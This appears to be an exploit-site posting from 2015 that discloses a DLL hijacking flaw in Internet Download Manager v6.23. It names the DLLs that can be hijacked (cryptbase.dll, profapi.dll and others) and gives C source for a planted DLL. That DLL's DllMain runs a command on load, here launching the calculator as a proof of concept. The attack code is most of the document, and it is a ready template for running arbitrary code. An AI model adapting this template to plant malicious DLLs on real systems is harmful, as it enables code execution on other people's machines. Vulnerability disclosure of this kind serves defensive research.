facebook facebook twitter rss

Internet Download Manager v6.23 DLL Hijacking

Author: Mogyhacker , Published: 04-04-2015
* Exploit Title: Internet Download Manager v6.23 DLL Hijacking
* Date: 3/4/2015
* Author: Mogyhacker
* Software Link: https://www.internetdownloadmanager.com/
* Vendor: http://mirror2.internetdownloadmanager.com/idman623build10.exe?b=1&filename=idman623build10.exe
* Tested on: Windows 7
* Vulnerable DLLs: cryptbase.dll, cryptsp.dll, profapi.dll, dwmapi.dll, rtutils.dll, ntmarta.dll, RpcRtRemote.dll

#include <windows.h>

int evil() {
WinExec("calc", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) {
evil();
return 0;
}

Like us on Facebook :